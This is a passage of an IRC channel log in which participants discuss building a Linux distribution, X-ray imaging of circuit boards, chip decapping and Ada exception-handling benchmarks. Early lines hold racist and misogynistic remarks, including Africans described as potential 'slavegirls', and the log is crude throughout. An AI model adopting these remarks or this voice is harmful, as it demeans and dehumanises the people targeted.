but i'll dig into this again friday. 1899529;1551297286;mircea_popescu;http://btcbase.org/log/2019-02-27#1899446 << pretty sure there was a ONE mcd in havana, best-korea style. 1899530;1551297286;a111;Logged on 2019-02-27 00:17 asciilifeform: BingoBoingo: for all i know, already opened 1899531;1551297406;mircea_popescu;http://btcbase.org/log/2019-02-27#1899452 << this'd be precisely why spawning's a waste of republican time. the daughter of random orcs from africa makes just as good a putative slavegirl, the son of random chinese provincial governors makes just as good putative meat for the noose as anything your missus could be bringing you home. 1899532;1551297406;a111;Logged on 2019-02-27 00:22 asciilifeform: sorta how in ru today 1e6 lolcat watchers for erry d00d with half a brain who builds pdp with own hands. whereas in 1990 , 1e6 builders of pdp and 0 lolcat. 1899533;1551297604;mircea_popescu;http://btcbase.org/log/2019-02-27#1899460 << there's an island, smaller than cuba, "civilised" before it. it's where the industrialized farms dump their (otherwise unsellable) mutton bellies, in preference of having them removed as garbage. 1899534;1551297604;a111;Logged on 2019-02-27 00:39 asciilifeform: soon enuff , when no moar castros, those bananistani will be living in mortgaged cardboard, eating mcd, and watching 'netflix', shitting out 'blogs' fulla malapropisms , an' ~nobody will remember any other time. 1899535;1551297611;mircea_popescu;"samoans are naturally fat". 1899536;1551297685;mircea_popescu;http://btcbase.org/log/2019-02-27#1899463 <<->> http://btcbase.org/log/2018-05-22#1816502 1899537;1551297685;a111;Logged on 2019-02-27 00:41 asciilifeform: e.g. how come erry man of fighting age in vz aint on the boarder, pumping lead into the 'humanitarian convoy', manning ack-ack batteries, etc ? 1899538;1551297685;a111;Logged on 2018-05-22 05:18 mircea_popescu: long story short, soviet kids integrated into youth culture faster than soviet state integrated "soviet world" ; the result was the failure of the soviet state. 1899539;1551297779;mircea_popescu;purely cultural problem. how come "[http://trilema.com/2017/where-the-fuck-is-everyone/][every mayo] of fightin mass" ain't on the imaginary borders of the empire, fighting the republic ? cuz they fucking can't, lol. how would they, the republic integrates their ideological system. 1899540;1551297953;mircea_popescu;http://btcbase.org/log/2019-02-27#1899468 << the thing didn't work out, but principally owing to ustardian incompetence (they failed to pay protection money, because they think they're mussolini or some duim shit). little to do with your ideal of humanity, merely a practical application of the superiority of patriarchy. 1899541;1551297953;a111;Logged on 2019-02-27 00:47 asciilifeform: notbad, i suppose, if troo 1899542;1551298041;mircea_popescu;http://btcbase.org/log/2019-02-27#1899473 << "sent" my foot. he never sent any woman any place in his life, forgeddaboutit. 1899543;1551298041;a111;Logged on 2019-02-27 00:50 asciilifeform: sent his daughter to 'journalism' (iirc) school, just so to optimize for eventual miamiization 1899544;1551298102;mircea_popescu;mod6 np. 1899545;1551298222;mircea_popescu;http://btcbase.org/log/2019-02-27#1899484 << i heartily recommend http://trilema.com/2019/trilema-images-no-longer-showing/ 1899546;1551298222;a111;Logged on 2019-02-27 09:22 spyked: http://btcbase.org/log/2019-02-26#1899436 <-- no, but allcomers are allcoming and allleeching. 1899547;1551298226;mircea_popescu;practically made for your usecase. 1899548;1551298317;mircea_popescu;http://btcbase.org/log/2019-02-27#1899500 << certainly the time to do such touch-ups. 1899549;1551298317;a111;Logged on 2019-02-27 17:57 mod6: thanks asciilifeform; the one thing that changed, other than the hashes (from sha512->keccak) in the vpatches, is in the genesis.vpatch, I removed that UTF-8 character. 1899550;1551298395;mircea_popescu;http://btcbase.org/log/2019-02-27#1899516 << such nonsense, this. 1899551;1551298395;a111;Logged on 2019-02-27 18:15 diana_coman: note that you'll get simply gnat with sjlj, no option to switch between zcx and sjlj i.e. --rts won't work 1899552;1551298420;mircea_popescu;http://btcbase.org/log/2019-02-27#1899520 << sweet. 1899553;1551298420;a111;Logged on 2019-02-27 18:17 diana_coman: I have on my conveyor first to complete and publish the full set of data zcx vs sjlj; after that I guess I'll publish the notes re building ave1's gnat too 1899554;1551298443;mircea_popescu;http://btcbase.org/log/2019-02-27#1899525 << why the fuck is nobody surprised ;/ 1899555;1551298443;a111;Logged on 2019-02-27 18:32 asciilifeform: ^ complete with 'speculative buffer overflow' & similar lulz. 1899556;1551298969;asciilifeform;guten tag mircea_popescu ! 1899557;1551299227;asciilifeform;mircea_popescu: i dun expect you'll want to eat the whole article, but it sums to quite a bag of lulz : can run entire proggy in the 'speculated' parallel universe, in such a way that it dun logically exist on e.g. by-the-book emulator, but only on post-2009 shitcpu 1899558;1551299478;mod6;mircea_popescu: ty! 1899559;1551300188;BingoBoingo; re my cuntoo-in': i ran bootstrap.sh, got trinque's smileyface, but then "cp: cannot stat '../config/4.9.94-apu2': No such file or directory". i'm having moar surgery tomorrow, but i'll dig into this again friday. << Let me know if you need brought back online then. I can't imagine hippos work weekends, if their build is still going on by then. 1899560;1551300269;asciilifeform;hrm you defo dun want to build a kernel for a dulap-style machine with 'apu2' config 1899561;1551300280;asciilifeform;( iirc trinque's orig. prototype was for the apu2 , is why it's there ) 1899562;1551300287;asciilifeform;it won't boot. 1899563;1551300333;asciilifeform;apu2 dun have a vga, for instance. 1899564;1551300359;mircea_popescu;asciilifeform i read it, i read it. didn't surprise, either. "windows nt in javascript" or what was it. 1899565;1551300383;asciilifeform;mircea_popescu: 'win nt in untaken branches' aha 1899566;1551300538;mircea_popescu;there was this whole "we'll do things in javascript", it's what github lives as in my memory. 1899567;1551300564;mircea_popescu;im pretty sure there's a windows emulated in javascript somewhere. 1899568;1551300596;mircea_popescu;https://win95.ajf.me/ << there it is. 1899569;1551300629;asciilifeform;mircea_popescu: it's what bellard was doing instead of tcc. 1899570;1551300688;mircea_popescu;right. but -- and this is the truly painful part -- for a ~defensible~ reason. he was doing it instead of tcc ~for rms's failure to rule~. 1899571;1551300697;asciilifeform;lol, even boots, but then 'Emulation aborted due to nested emulation timeout.' 1899572;1551300733;asciilifeform;iirc there was a site that had this js dosbox thing, for old games, some even ran. (it's no way to live, imho, tho) 1899573;1551300848;mircea_popescu;certainly not. yet -- it makes a point, specifically that the whole "natura expellas" is a problem not so much of nature but rather of the nature of the expeller. 1899574;1551300900;asciilifeform;lazy expeller, blunt furca, or both 1899575;1551300923;mircea_popescu;note how "nature" aka shit fails to "make its way through the window" and [http://trilema.com/2015/the-anal-child/#selection-35.254-35.270][still nevertheless] give the woman peripueral fever even if you ~properly~ wash your hands. 1899576;1551300942;mircea_popescu;in short, there's a kind of "technology" that produces recursively these sorts of nooks and crannies for "nature, by itself" to return 1899577;1551300959;*;asciilifeform sorta has entire www on this subj 1899578;1551300985;mircea_popescu;whereas there's also a proper technology, which does not. 1899579;1551301000;mircea_popescu;very much apropos, that discussion of the error of going back on the tree, which now i can't find. 1899580;1551301047;*;asciilifeform has http://www.loper-os.org/?p=55 & other apropos. 1899581;1551301107;hanbot;mircea_popescu y'mean http://btcbase.org/log/2019-02-12#1895424 ? 1899582;1551301107;a111;Logged on 2019-02-12 15:35 mircea_popescu: the only way to have sane republic is precisely the http://trilema.com/2015/causes-and-purposes/ which specifically here means, NO CALLS BACK UP THE TREE. 1899583;1551301132;mircea_popescu;hanbot word! 1899584;1551301143;mircea_popescu;asciilifeform you know i coincidentally re-read that piece as recently as this week ? 1899585;1551301185;asciilifeform;mircea_popescu: did not know. but it's a fairly basic observation, and i expect it occurs regularly to mircea_popescu & other thinking folx when seriously thinking re 'wai pc sux' 1899586;1551301262;asciilifeform;( ftr, companion pieces, http://www.loper-os.org/?p=46 & http://www.loper-os.org/?p=448 ) 1899587;1551301572;*;asciilifeform brb:meat 1899588;1551306603;feedbot;http://qntra.net/2019/02/india-and-pakistan-exchanging-fire/ << Qntra -- India And Pakistan Exchanging Fire 1899589;1551307319;BingoBoingo;^ Tried digesting the situation in greater depth, but speakers of Alien languages where one side pretends to do English 1899590;1551307879;asciilifeform;holyfuq the mustache on that d00d 1899591;1551308117;BingoBoingo;Serious mustache 1899592;1551311034;asciilifeform;!Q later tell phf i hate to become 'thread necromancer', but would really like a resolution of http://btcbase.org/log/2018-11-28#1875722 & the related quandaries some time before i die of old age. plox to comment. 1899593;1551311034;a111;Logged on 2018-11-28 16:26 phf: asciilifeform: before you agree to a decap, give me some more time to get you the docs, maybe they'll be enough to get things going. i'd hate to lose an ivory to get some pretty but useless pictures, i'd rather it fry on a breadboard in the process of directed discovery 1899594;1551311034;lobbesbot;asciilifeform: The operation succeeded. 1899595;1551311106;asciilifeform;i have 3 units and xray to show precisely where to cut, and intend later this yr to start cutting ! 1899596;1551311206;asciilifeform;( not today. and not tomorrow ; but asciilifeform would ~really~ not rather end up having a second http://btcbase.org/log/2018-12-19#1881965 thrd ! when revving up the saw. ) 1899597;1551311206;a111;Logged on 2018-12-19 19:56 asciilifeform: phf: and wasn't 'week ago', but year + 3mo ago, when i took delivery of the 2 raw ivories. 1899598;1551311378;asciilifeform;( cut and then what ? then -- (trad chemical!) photography. there aint nuffin in there that's any smaller than visible wavelength. ) 1899599;1551311738;asciilifeform;... with the finest-grain film available , naturally, + http://btcbase.org/log/2018-11-28#1875800 . 1899600;1551311738;a111;Logged on 2018-11-28 19:28 mircea_popescu: you put in a violet source, take a pic. next you put in a green source, take a pic. next, yellow and red. 1899601;1551311978;asciilifeform;... after that, perhaps xray backscatter on the exposed die, or similar exotica. 1899602;1551312422;asciilifeform;dun even need ~that~ much magnification -- chip has 2uM features, and ordinary scanner already has 4uM x 4uM pixels. 1899603;1551312572;*;asciilifeform does not know why this had to wait for 30 YEARS, but dun intend to let it wait another 3 1899604;1551313310;*;mod6 booted Cuntoo 1899605;1551313605;asciilifeform;congrats mod6 ! 1899606;1551313674;mod6;ty, feels good man 1899607;1551313757;mod6;If inquiring minds would like to know, happy to elaborate. But I'll put up a blog post about it sometime before the end of the weekend I suspect. 1899608;1551321917;mircea_popescu;asciilifeform what are you cutting with ? 1899609;1551321951;asciilifeform;mircea_popescu: as of yet -- nuffin 1899610;1551321962;mircea_popescu;could even ~slow~ grind it off. 1899611;1551321966;asciilifeform;mircea_popescu: will prolly end up with cnc mill 1899612;1551321975;mircea_popescu;right ? just do it slow and well... 1899613;1551321976;asciilifeform;(given as already have 1) 1899614;1551321987;asciilifeform;can grind off micron at a time. 1899615;1551322051;asciilifeform;it's not even clear that this dance is req'd, of yet, seems like there's a lid which simply needs to come off, on these 1899616;1551322076;asciilifeform;potentially -- can even come off and leave working unit 1899617;1551322092;mircea_popescu;you knjow, the micron at a time might be a good thing to do ~anyway~. 1899618;1551322094;asciilifeform;( heat sink is on opposite side ) 1899619;1551322108;mircea_popescu;yes it will take more time / cost reagents. nevertheless, "here's my micron-by-micron decap of bolix." 1899620;1551322112;asciilifeform;mircea_popescu: from the lit, seems like it's an iffy way to take off layers, tends to induce thermal cracks 1899621;1551322113;mircea_popescu;makes a definitive piece, basically. 1899622;1551322121;asciilifeform;if i had 9000 units to work with, then defo would 1899623;1551322123;mircea_popescu;asciilifeform that's why i was saying ~slow~. 1899624;1551322142;asciilifeform;right 1899625;1551322154;asciilifeform;really oughta ~lap~'em off, rather than conventional end mill 1899626;1551322172;asciilifeform;y'know, cotton wad, with diamond paste 1899627;1551322240;asciilifeform;the ~real~ gold would be if could emissograph it. like those rembrandts. but i dun think my current gear is up to it. 1899628;1551322287;asciilifeform;( typically this involves 150kv+ xray, which goes straight through the film w/out exposing it, and film is then exposed by electrons emitted from ~underneath~ ) 1899629;1551322343;mircea_popescu;maybe the next one. 1899630;1551322518;asciilifeform;well i do have 3.. 1899631;1551324250;mircea_popescu;"Another housemate, George, had a vicious temperament and had been in and out of jail many times. He was permanently one parole violation away from ending up back “on the inside” and had long given up any hope of getting his driver’s license back. He had been virile and fecund and had a couple of former wives who had taken out restraining orders against him and several children whom he wasn’t allowed to see. George wa 1899632;1551324251;mircea_popescu;s an avid conversationalist and could easily be prompted to hold forth on any number of subjects, although his poor grasp of the facts and numerous delusional convictions invariably caused his narratives to become mired in internal contradictions." 1899633;1551324262;mircea_popescu;^ the us "right", by and large. 1899634;1551324366;feedbot;http://www.loper-os.org/?p=3067 << Loper OS -- X-Ray Spectrography Kindergarten. 1899635;1551324374;mircea_popescu;this is actually a great orlov piece ; once he abandons his nonsensical hallucinations of "having grasped the big picture" and takes up simple description he's actually quite readable. 1899636;1551324407;*;mircea_popescu suspects "his acquaintance Tom" is rather autorepresentational, for this reason. 1899637;1551324417;asciilifeform;mircea_popescu: is certainly how i started reading him (initially had good stuff in 'small picture' re su/usa parallel) 1899638;1551324437;mircea_popescu;"Tom either graduated or dropped out from an art school (accounts varied) and could turn out competent artwork if given careful direction, but he disliked being told what to do. Left to his own devices, he indulged in drawing cartoons that featured grotesque caricatures of himself plodding through post-apocalyptic landscapes littered with wrecks of his old cars and wandering shadows of his former girlfriends." 1899639;1551324498;mircea_popescu;"orlov either graduated or dropped out from college, and could turn competent prose if kept on a short leash, but he tended to believe he can actually be in charge of things. left to his own devices, he indulged in antireality boat designs and ridiculous sociopolitical systematization." 1899640;1551324541;*;asciilifeform brb,meatsystems 1899641;1551324848;feedbot;http://trilema.com/2019/accattone/ << Trilema -- Accattone 1899642;1551329583;asciilifeform;http://btcbase.org/log/2019-02-28#1899634 << forgot to add detail : 0 penetration at 10kV (aside from through unoccluded holes) 1899643;1551329583;a111;Logged on 2019-02-28 03:26 feedbot: http://www.loper-os.org/?p=3067 << Loper OS -- X-Ray Spectrography Kindergarten. 1899644;1551329603;asciilifeform;i expect this is typical (FG is pretty thin as far as pcb goes) 1899645;1551329751;asciilifeform;.. either that, or the dental film dun expose much at 10 1899646;1551329772;asciilifeform;will prolly look vehehehery diff with the scintillator cassette + proper fujifilm 1899647;1551329820;asciilifeform;( crate is due in coupla days from nao ) 1899648;1551329875;asciilifeform;scintillator wins sensitivity in trade for contrast, tho. 1899649;1551329936;asciilifeform;i'ma also try scintillator + ordinary photopaper ( some folx report usable pics via same ) 1899650;1551333508;mircea_popescu;asciilifeform if you get "0 penetration" in X time, try with 3x the time and see if it changes anything. if it does, you can then sorta-calc what exposure time you need (see the curves) and then judge if it's safe to expose that long. 1899651;1551333528;mircea_popescu;there's no such thing as no penetration in nature. 1899652;1551333771;asciilifeform;mircea_popescu: at long wavelength, all but epsilon ends up going to cook the chip 1899653;1551333824;asciilifeform;sorta why dentist stuffs aluminum filter in the muzzle when xray. < 20kV or so just cooks meat, without reaching film. 1899654;1551333936;mircea_popescu;you figure it's getting damaged through what, metal ion transport ? 1899655;1551333989;mircea_popescu;my point here is that you can ~calculate~ this, within very reasonable error margin. 1899656;1551334028;asciilifeform;typically gate wedged into metastability . difficult to calculate tho. 1899657;1551334059;asciilifeform;in the bolix board, i'ma pull the ics before it goes into the oven, they're all socketed, so sorta academic. 1899658;1551334130;asciilifeform;re flipped bits -- actually considered soft xray as a potential diddle for e.g. google's fritz chip. possibly worth a shot at some pt. 1899659;1551334285;asciilifeform;the multi-voltage thing will make serious diff when we reverse e.g. 6+-layer pcb and the like. 1899660;1551334442;asciilifeform;( and even there, 'tomographic' pic, i.e. from range of angle, gives moar bang for bux , possibly ) 1899661;1551334854;mircea_popescu;asciilifeform you can calculate the probability function of a single atom being moved, which'd be the quantum of gate breakage. 1899662;1551335016;asciilifeform;mircea_popescu: they dun move tho, what 'moves' is the free radical 1899663;1551335034;mircea_popescu;right, the ion w/e, 1899664;1551335040;asciilifeform;aha 1899665;1551335045;asciilifeform;hence trickier 1899666;1551335062;asciilifeform;normally the killing dose for $chip is determined empirically. 1899667;1551335063;mircea_popescu;yes, but nevertheless, still calculable within reasonable precision. 1899668;1551335096;mircea_popescu;which is my point here, half hour of math will give you rough guidance. it may well be the chip can reasonably take half hour in the oven. 1899669;1551335106;mircea_popescu;even a sheet of legal pad exposes in half an hour. 1899670;1551335113;*;asciilifeform thus far can add only that the victim fg still worx.. 1899671;1551335161;asciilifeform;has eaten 30m or so, at various energies, largely towards 35k end 1899672;1551335209;*;asciilifeform too lazy atm to compute approx dose from this, in civilized units 1899673;1551335232;mircea_popescu;anwyay, your other point is also quite sound : can certainly use low pass filter, such as metal mesh or w/e, to filter out lower energy. yes lower instant energy, but if expose for longer in the end get same total energy, more conveniently distributed on spectrum 1899674;1551335271;mircea_popescu;but the overarching thing here : you can't seriously expect to be doing this x ray stuff WITHOUT blowing dust off either h's matrices or the wavefunction. 1899675;1551335293;mircea_popescu;so sit down once and for all and write your equations towards usable form and there you go, math undergirth. 1899676;1551335305;asciilifeform;aha, is what the dentists do. i'ma gild that lily when it turns out to need gilding tho, so far can already clearly distinguish 2 layers of pcb. 1899677;1551335515;asciilifeform;last lulzbit before asciilifeform to bed : the fibrous crud in the photo ? is 1 sheet of printer paper ! 1899678;1551335533;asciilifeform;apparently has cruft in it, opaque at 20-35 !! 1899679;1551335578;*;asciilifeform thought 'oughta transparent..' and closed hole in the sample shelf with paper. 1899680;1551335679;*;asciilifeform bbl 1899681;1551335841;mircea_popescu;i think it's unconscionable to be flying this blind/by seat of pants. speaking of that "gilding the lilly", did you even calculate the remanent activity by component for that half hour of exposure ? 1899682;1551335848;mircea_popescu;or at least put a geiger to the smoldering remains ? 1899683;1551335860;mircea_popescu;for all you know the fg in question is hot enough. 1899684;1551337751;feedbot;http://trilema.com/2019/batidos/ << Trilema -- Batidos 1899685;1551362460;asciilifeform;mircea_popescu: on my planet, if you want remanence, you gotta bombard with neutrons, not photons... 1899686;1551362633;asciilifeform;( funnily enuff, old man edison thought otherwise, was convinced that one could 'alchemize' with xray 'if you just crank it up enuff' ! ) 1899687;1551362710;asciilifeform;for all i know, he was even right.. at petavolt or sumsuch. but , hate to disappoint, not at kV or even mV. 1899688;1551362988;asciilifeform;so, to answ http://btcbase.org/log/2019-02-28#1899681 , it's a fat 0. as known even 100y ago.. 1899689;1551362988;a111;Logged on 2019-02-28 06:37 mircea_popescu: i think it's unconscionable to be flying this blind/by seat of pants. speaking of that "gilding the lilly", did you even calculate the remanent activity by component for that half hour of exposure ? 1899690;1551364997;lobbes;http://btcbase.org/log/2019-02-28#1899607 << congrats mod6. I'd definitely be interested in reading 1899691;1551364997;a111;Logged on 2019-02-28 00:29 mod6: If inquiring minds would like to know, happy to elaborate. But I'll put up a blog post about it sometime before the end of the weekend I suspect. 1899692;1551366035;mircea_popescu;asciilifeform actually, it's about 10MeV ; i am pleasantly surprised you know about it, but i am unimpressed with the 1e8 error factor! 1899693;1551366057;mircea_popescu;now do me teh pleasure and do teh math alongside the practical work eh! what is this, alf-is-15 lab discussions ?! 1899694;1551366401;mircea_popescu;http://btcbase.org/log/2019-02-27#1899563 << her racked box has vga ? 1899695;1551366401;a111;Logged on 2019-02-27 20:45 asciilifeform: apu2 dun have a vga, for instance. 1899696;1551367174;mod6;ty lobbes, will write up for sure. 1899697;1551369128;*;asciilifeform went to compute mircea_popescu's q, 'just how much did it eat', apparently it's a bitch : absorption constant varies by chip, and in heavy industry folx mostly gave up , they stick dosimetric film underneath the board. i'ma get an upper bound tho, it's important q when we do the bitflip thing. 1899698;1551369161;asciilifeform;mircea_popescu: i dun have a 10MeV source ( do you ?? ) . tho i suppose one could float the thing on balloon and hope to get lucky with cosmic ray.. 1899699;1551369161;mircea_popescu;i know they did ; but it's perhaps worth revisiting! 1899700;1551369164;asciilifeform;defo 1899701;1551369183;asciilifeform;i want lower/upper bound at least, or how the fuq to even know if could flip bit. 1899702;1551369184;mircea_popescu;anyway, no, 10MeV photon is not easy to come by. 1899703;1551369190;mircea_popescu;asciilifeform exactly~ 1899704;1551369232;asciilifeform;mircea_popescu: they're commercially available , for cost of ~bmw , but i dun want one here lol 1899705;1551369404;asciilifeform;the tube in asciilifeform's instrument maxes out at 35kV @ 0.3mA . 1899706;1551369451;asciilifeform;( theoretically can do 70kV, per the sticker, but power supply deliberately capped by vendor, so as to get 100% absorption by the cabinet shields and sell as 'contained' or whatever oshaism it was called ) 1899707;1551369529;*;asciilifeform brb,tea 1899708;1551372833;asciilifeform;http://btcbase.org/log/2019-02-28#1899694 << it does, to what do you suppose BingoBoingo connects the console to see whether alive 1899709;1551372833;a111;Logged on 2019-02-28 15:06 mircea_popescu: http://btcbase.org/log/2019-02-27#1899563 << her racked box has vga ? 1899710;1551372848;mircea_popescu;a well then! 1899711;1551372851;asciilifeform;tho imho would work just as well to use serial 1899712;1551372862;mircea_popescu;i thought he was just doing terminal over w/e 1899713;1551372864;asciilifeform;( this is what we do on rk ) 1899714;1551372877;BingoBoingo;Well I plug the monitor into a blue VGA port 1899715;1551372895;BingoBoingo;And then I plug the keyboard in 1899716;1551372909;BingoBoingo;And then I try to do whatever before cooking in the hot aisle 1899717;1551372919;asciilifeform;rk actually has a video port, but asciilifeform baked the kernel w/out support for it 1899718;1551372923;asciilifeform;for compactness 1899719;1551373006;asciilifeform;( asciilifeform would luvv a rk-like item baked by sane folx, could easily be half the size or smaller, i.e. w/out the useless ports, and perhaps with e.g. sata instead ) 1899720;1551373084;asciilifeform;really oughta have a backplane connector, also ( the actual rk, takes up good 70-80% of enclosure space with cabling and legs ) 1899721;1551373173;asciilifeform;would look rather like the https://media.rs-online.com/t_large/F8268825-01.jpg heathen board 1899722;1551373279;asciilifeform;^ pictured is 'pi', which is item similar to rk, but rejected by asciilifeform on acct of multi-MB blobism and massive unkillable (afaik) fritz chip core 1899723;1551375377;feedbot;http://ossasepia.com/2019/02/28/zcx-vs-sjlj-data-set/ << Ossasepia -- ZCX vs SJLJ - Data Set 1899724;1551375819;mircea_popescu;so from the actual data : properly static sjlj ~actually faster~ than zcx, on various cases of tall tower of nested loops 1899725;1551375838;asciilifeform;pretty interesting 1899726;1551375840;mircea_popescu;whereas in deeply nested procedure calls, sjlj offers no significant penalty for MANY handlers. 1899727;1551375850;mircea_popescu;if you eat the cost of having 1 extra, can have 3 extra for the same dough. 1899728;1551375908;mircea_popescu;the differences aren't huge, 121.9171600 vs 121.816518000 and 879.95117100 vs 879.7342540 sorta thing. but they are consistent. 1899729;1551375912;asciilifeform;wtf is even the point of zcx on pc ( not speaking of http://btcbase.org/log/2019-02-12#1895611 horrors ) then. 1899730;1551375912;a111;Logged on 2019-02-12 23:41 asciilifeform: ( aside for weirdo 1970s chips with no interrupts... ) 1899731;1551375963;mircea_popescu;asciilifeform at the present juncture i can't actually tell. it seems to (very slightly) slow down loops while performing merely slightly better than sjlj with no handlers set. 1899732;1551376025;asciilifeform;i dun recall whether i put this in the log, but asciilifeform found that if proggy does not use tasks, the 2 variants appear to build identical binary 1899733;1551376036;diana_coman;the difference was big only on the 2-cores intel but then again, what tasks there anyway 1899734;1551376058;diana_coman;and yes, I have no idea why zcx really, I can't see any reason for it 1899735;1551376126;*;diana_coman will be back in ~2 hours 1899736;1551376146;mircea_popescu;in any case, it seems the heathen claim that "it is faster" is only true in a very narrow corner. otherwise--false. 1899737;1551376181;mircea_popescu;these, incidentally, are pretty brutal testing conditions. the average program isn't likely to go 20mn procedure calls deep (witness that almost nobody even knows how to move the stack limit in kernel). 1899738;1551376182;asciilifeform;mircea_popescu: i suspect that diana_coman is the 1st to actually measure, since 1990s (if indeed anyone bothered then) 1899739;1551376197;mircea_popescu;asciilifeform i can readily believe this. 1899740;1551376256;asciilifeform;mircea_popescu: i've had occasion to move the stack limit ( when tested ffa with massive fz widths, recall , all allocations are on stack ) but not otherwise 1899741;1551376273;mircea_popescu;in any case, there's no basis for a standard-breaking runtime here. "oh, it gains some speed in corner case", gimme a break, go implement the standard. 1899742;1551376296;mircea_popescu;as things stand now, zcx meets exactly the wrecker's profile. 1899743;1551376317;asciilifeform;near as i can tell, it's a vestige from days of running on os with no scheduler (dos etc) 1899744;1551376321;mircea_popescu;replete with the "learned helplessness" condiments it's breaded with, for shame. 1899745;1551376332;mircea_popescu;when will the fucktards learn we really don't buy the crap. 1899746;1551376351;mircea_popescu;asciilifeform zcx is relatively modern item afaik. 1899747;1551376360;asciilifeform;hm 1899748;1551376371;*;asciilifeform does not currently know, when introduced 1899749;1551376385;asciilifeform;btw when we plant gnatism on bare irons, will have to implement a scheduler, and it is 'black art' of sorts ( how big to make the quantum ? how to apportion slices to cores ? etc ) 1899750;1551376466;asciilifeform;while on subj, asciilifeform aint even sure if the traditional slicing scheduler is Right Thing 1899751;1551376479;mircea_popescu;i was thinking, "what's a slice anyway" 1899752;1551376482;asciilifeform;i strongly suspect that it's fundamentally braindamaged idea 1899753;1551376491;asciilifeform;and oughta have 1 thread per core, and the rest -- yield 1899754;1551376520;mircea_popescu;entirely possible. there's a large tower of "too smart for own britches" usually hiden behind these "blac arts" 1899755;1551376528;asciilifeform;slicing is ~massive~ waste of cycle 1899756;1551376546;mircea_popescu;you know ? all industrial processes were organized towards reducing/eliminating retoolings 1899757;1551376562;asciilifeform;aha! 1899758;1551376572;mircea_popescu;then computers turn around and it's all "oh, you know, what, this compuiter could cook vegetables one slice of each at a time" "and wash knife in between ?!" "of course!" 1899759;1551376641;mircea_popescu;switching was necessary in the early days of computing, when one ox fucked many men. 1899760;1551376647;mircea_popescu;now when few men fuck many chickens... forget it. 1899761;1551376662;asciilifeform;why the fuck machine even has an interrupt controller, if idjit programmers run slicer to continuously poll e.g. blocking i/o . it's ridiculous. 1899762;1551376783;asciilifeform;mircea_popescu: unix imho is pretty typical piece of tard 'sleight of hand', where offers illusion that 'you can have 9000 continuous threads' 1899763;1551376926;asciilifeform;good % of the riotous complexity of the sadkernel, once you subtract deviceisms, is the slicer 1899764;1551376947;asciilifeform;( and the various semaphorisms that it makes necessary ) 1899765;1551379110;*;asciilifeform ~still~ frustratingly wedged with mircea_popescu's tube puzzle , turns out the 'S' constant for 35kV aint published anywhere, incl. the tube vendor ! and no info published re how to determine it from principles, seems like it gotta be measured by hand. 1899766;1551379146;asciilifeform;such 'quiet' tubes aint used in medicine, so very little to go on. 1899767;1551379158;mircea_popescu;heh. 1899768;1551379241;asciilifeform;one interesting twist, the machine actually has an ionization gauge below the bottom, under the crosshair. and control panel allows to specify exposure in terms of the gauge output, but in nonsensical 'AEC' arbitrary unit 1899769;1551382066;asciilifeform;meanwhile, in vintage lulz, http://www.os2museum.com/wp/lies-damn-lies-and-wikipedia/ 1899770;1551382939;feedbot;http://bingology.net/2019/02/28/peso-watch-february-2019/ << Bingology - BingoBoingo's Blog -- Peso Watch February 2019 1899771;1551382956;diana_coman;http://btcbase.org/log/2019-02-28#1899741 -> this is imo the most puzzling part of it all: how, just how is breaking the standard justified in those conditions 1899772;1551382956;a111;Logged on 2019-02-28 17:51 mircea_popescu: in any case, there's no basis for a standard-breaking runtime here. "oh, it gains some speed in corner case", gimme a break, go implement the standard. 1899773;1551383220;diana_coman;but I suspect it's simply one of those "you should prefer" a la http://ossasepia.com/2018/07/14/cutting-mysql-into-musl-shape/#selection-47.98-47.160 1899774;1551385221;feedbot;http://qntra.net/2019/02/scandal-hits-canadian-bitch-boy-pm-during-election-year/ << Qntra -- Scandal Hits Canadian Bitch Boy PM During Election Year 1899775;1551385999;asciilifeform;diana_coman: i suspect this aint the last time we find that gnat breaks standard 1899776;1551386017;asciilifeform;diana_coman: another interesting q is -- whether the co 1899777;1551386024;asciilifeform;commercial gnat complies 1899778;1551386041;asciilifeform;( but i do not presently know, nor inclined to buy it to find out ) 1899779;1551386133;diana_coman;why exactly interesting? 1899780;1551386266;asciilifeform;diana_coman: only from entomological pov. i.e. do they break the opensores one deliberately , to upsell to the payware? or both equally braindamaged. 1899781;1551386297;diana_coman;you'd think they would advertise that at least, if that were the case, no? 1899782;1551386333;diana_coman;but I suspect it's more ~ "too much trouble and nobody needs that anyway" 1899783;1551386382;asciilifeform;the 'pro' item is iirc advertised as 'certified', whatever that means 1899784;1551386396;asciilifeform;https://www.adacore.com/products/certification-materials etc 1899785;1551386428;diana_coman;last time I had to have any sort of idea what that meant, it was iirc having the stamp of higher-stamped stamp-stampers etc 1899786;1551386544;asciilifeform;currently i've nfi where, if indeed at all, 'pro' differs from the public gnat. 1899787;1551386567;asciilifeform;last i looked, didn't turn up a leaked copy anywhere. 1899788;1551386588;diana_coman;my impression was that their upsell was mostly on tools i.e. the IDE whatever-its-name-was 1899789;1551386616;asciilifeform;those come with the opensores gnat tho ( i was never able to get it to run, seems to only work on winblowz and shituntu ) 1899790;1551386630;diana_coman;and yes, tools for certification this and that i.e. automated bureaucracy/compliance 1899791;1551386699;asciilifeform;diana_coman: 'compliance tools' aha. but , if not with the standard... then with what. 1899792;1551386703;diana_coman;ah, hm, I thought there was some different version/moar features in the commercial version; anyway, I have to admit I did not really try to get it running as there was no ..need felt for it so far 1899793;1551386711;asciilifeform;it's dark matter atm. 1899794;1551386727;bvt;hello. i also tried to find information on why zcx is broken, but not sjlj -- did not find anything specific 1899795;1551386742;bvt;zcx is a recent item, https://www.usenix.org/legacy/events/osdi2000/wiess2000/full_papers/dinechin/dinechin_html/index.html 1899796;1551386747;*;asciilifeform aint about to use a closed turd compiler , regardless, for any practical work. but still finds the q of 'is there a standard-compliant adatron somewhere' not wholly uninteresting 1899797;1551386764;diana_coman;ah, not with the standard, ofc not; with whatever certificate x measures (as they say: traceability, formal verification, stack consumption) 1899798;1551386817;asciilifeform;bvt: zcx is broken ~by design~, it doesn't attempt to implement preemptive multitasking at all. 1899799;1551386822;asciilifeform;it aint a bug. 1899800;1551386845;diana_coman;in truth, they do say "coding standard verification" but I suspect that means whether a piece of code follows whatever convention specified for that project, hm 1899801;1551386871;asciilifeform;bvt: i started with the supposition that it was built for irons where there is no time slicer , but currently nfi whether this is so, or whether was simply a kludge for no particular reason 1899802;1551386876;diana_coman;bvt, my understanding is that zcx said "this case is too complicated to even try to handle and why do you need it anyway, terrorist!" 1899803;1551386895;diana_coman;hence the zero-cost by not doing the job 1899804;1551386950;asciilifeform;btw there were a great many 1990s os that behaved exactly like zcx model -- no preemption, tasks run until they yield or self-terminate. e.g. win9x, crapple os <= 9, etc 1899805;1551386982;bvt;also, at least for vxworks, adacore for certified profiles supports only sjlj, while using zcx for non-certified use-cases 